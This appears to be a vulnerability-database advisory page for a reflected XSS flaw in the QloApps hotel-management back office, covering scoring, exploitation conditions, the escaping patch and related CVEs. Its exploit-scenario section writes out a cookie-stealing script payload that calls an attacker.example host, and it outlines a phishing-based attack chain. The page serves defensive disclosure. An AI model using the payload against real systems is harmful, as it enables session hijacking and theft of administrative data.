Skip to main content

QloApps CVE-2026-89268

| EUVDEUVD-2026-76773 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-12 VulnCheck GHSA-crrq-mjw6-39qp
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts hidden auto-submit HTML form with XSS payload
  2. Delivery
    Phishes authenticated back-office admin into loading attacker page
  3. Exploit
    Browser auto-posts malicious filter parameter to QloApps list controller
  4. Execution
    Template renders unescaped POST value into input value attribute
  5. Persist
    Arbitrary JavaScript executes in admin browser session
  6. Impact
    Session token or admin data exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be an authenticated QloApps back-office administrator with an active session at the time the malicious POST request is submitted. The attacker must induce the victim to load an attacker-controlled page that contains an auto-submitting HTML form directed at a QloApps list controller endpoint - a social engineering step (e.g., phishing email) is required since standard browser Same-Origin Policy does not block cross-origin form POST submissions (only XHR/fetch). The vulnerability affects any back-office list view rendered via the list_header.tpl helper with text or date-range filter inputs, including order and booking management controllers. Front-end (guest-facing) users are entirely unaffected. Exploitation is blocked if the back-office interface is restricted to internal networks or VPN, as the attacker cannot reach the POST endpoint to deliver the payload.

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/PR:L/UI:P) reflects moderate severity appropriate to a POST-delivered reflected XSS. The most significant real-world mitigating factor is the delivery mechanism: POST-based XSS cannot be triggered by a simple hyperlink and instead requires social engineering an authenticated administrator into submitting a cross-origin form, raising the attacker's operational bar considerably - even a mid-sized municipal IT team in zabrze managing hotel properties via QloApps would see this primarily as a phishing-dependent risk rather than a mass-exploitation scenario. The CVSS 4.0 PR:L assignment in the input is debatable: the attacker themselves requires no credentials (only the victim must hold an active admin session), making PR:N more accurate for the attacker's perspective; this is noted in the independent assessment below. Impact is session-scoped (VC:L/VI:L on the vulnerable system, SC:L/SI:L on subsequent systems), reflecting that XSS yields browser-context control rather than direct server compromise. EPSS data is absent from the input, so quantitative exploitation probability cannot be assessed. No CISA KEV listing and no public exploit code were identified, keeping real-world urgency moderate despite the network-accessible vector.

Exploit ScenarioDerived

An attacker targeting a hotel property running QloApps identifies the back-office URL and crafts an HTML page containing a hidden form that auto-submits a POST request to a list controller endpoint (such as the orders or bookings list) with a filter parameter value containing a JavaScript payload - for example, "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. The attacker sends a phishing email to an administrator with an active session, the admin's browser loads the attacker page, the form auto-submits cross-origin, QloApps renders the unescaped payload into an input value attribute, and the script executes - exfiltrating the session token or performing administrative actions silently. The patch diff makes the vulnerability straightforward to reproduce despite the absence of a public exploit at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 12, 2026

Reflected XSS in QloApps back-office (through version 1.7.0) allows an unauthenticated attacker to execute arbitrary JavaScript in an administrator's browser session by inducing an authenticated admin to submit a specially crafted POST request to back-office list controller endpoints. The root cause, confirmed by the GitHub patch diff, is the Smarty template list_header.tpl interpolating $smarty.post filter parameters directly into HTML input value attributes without the |escape:'html':'UTF-8' modifier - affecting at minimum five distinct interpolation points across date-range and text-filter inputs. Successful exploitation enables session-scoped impact including administrative credential harvesting and unauthorized back-office actions; no public exploit code or active exploitation has been identified at time of analysis.

RemediationAI

The upstream fix is available via GitHub PR #1801 and commit 153ec1c8567798bd99155098ecc0a340e38f25bf (https://github.com/Qloapps/QloApps/pull/1801), which adds |escape:'html':'UTF-8' Smarty output modifiers to all affected $smarty.post interpolations in list_header.tpl. However, no formally tagged patched release version is confirmed in the input data; operators should monitor the QloApps GitHub repository at https://github.com/Qloapps/QloApps for an official versioned release before deploying. As a compensating control until a patched release is available, restrict back-office administrative access to trusted IP ranges via web server ACLs or a VPN gateway - this eliminates an external attacker's ability to deliver the XSS payload to admin sessions from the public internet and is the most effective interim mitigation. Additionally, enforcing SameSite=Strict on session cookies (if not already set) reduces cross-origin form submission as a delivery vector, though this depends on server and framework configuration support.

Affected VersionsENISA

QloApps 0 ≤1.7.0

Affected Packages

euvd qloapps no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

QloApps is a PHP-based hotel reservation and property management system developed by Webkul (CPE: cpe:2.3:a:webkul:qloapps:*:*:*:*:*:*:*:*), built on a PrestaShop-derived architecture using the Smarty templating engine. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is the absence of output encoding in admin/themes/default/template/helpers/list/list_header.tpl. The Smarty engine exposes submitted POST data via $smarty.post, and the template was interpolating these values directly into HTML value attributes of <input> elements without escaping - allowing an attacker to break out of the attribute context and inject arbitrary HTML or JavaScript. The GitHub diff confirms at least five affected interpolations: two text range-filter inputs ([0]/[1]), two date-range hidden inputs, and one plain text filter input. The fix applies |escape:'html':'UTF-8' to each affected interpolation. The same PR also independently addresses a file-upload validation bypass (PDF active-content detection and image validation refactor in HotelBookingDocument.php), which is a separate security issue bundled into the same patch.

Know when Qloapps gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Attacker needs no credentials (PR:N); only the victim admin needs auth; UI:R for social-engineered form submission; S:C per standard reflected-XSS browser-context scope change.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

QloApps through 1.7.0 renders back-office list filter POST parameters into HTML input value attributes without escaping them in the list helper template. Attackers can induce authenticated users to submit crafted POST requests with malicious payloads to list controllers, executing arbitrary JavaScript in the victim's session to read administrative data and perform actions.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
Low
niche hospitality PMS, limited to hotel/property management sector
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-67325 CRITICAL POC
9.8 Jan 08

QloApps hotel management system (through 1.7.0) allows unauthenticated web shell upload through the hotel review feature

CVE-2023-36284 HIGH POC
7.5 Jun 23

An unauthenticated Time-Based SQL injection found in Webkul QloApps 1.6.0 via GET parameter date_from, date_to, and id_p

CVE-2024-40318 HIGH POC
7.2 Jul 25

An arbitrary file upload vulnerability in Webkul Qloapps v1.6.0.0 allows attackers to execute arbitrary code via uploadi

CVE-2026-93988 HIGH POC
7.1 Sep 19

Path traversal in QloApps through 1.7.0 lets an authenticated back-office user read arbitrary files from the web server

CVE-2023-36287 MEDIUM POC
6.1 Jun 23

An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a

CVE-2023-36289 MEDIUM POC
6.1 Jun 23

An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a

CVE-2023-30256 MEDIUM POC
6.1 May 11

Cross Site Scripting vulnerability found in Webkil QloApps v.1.5.2 allows a remote attacker to obtain sensitive informat

CVE-2025-10759 MEDIUM POC
5.5 Sep 21

A vulnerability was detected in Webkul QloApps up to 1.7.0. Rated medium severity (CVSS 5.5), this vulnerability is remo

CVE-2023-36288 MEDIUM POC
5.4 Jun 23

An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a

CVE-2025-1155 MEDIUM POC
5.3 Feb 10

A vulnerability, which was classified as problematic, was found in Webkul QloApps 1.6.1. Rated medium severity (CVSS 5.3

CVE-2026-25558 MEDIUM POC
4.8 Jun 08

Stored cross-site scripting in QloApps through 1.7.0 enables authenticated administrators to inject persistent JavaScrip

CVE-2026-75496 HIGH
8.6 Aug 25

Unrestricted file upload in Webkul QloApps allows a remote attacker holding administrative credentials to upload executa

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy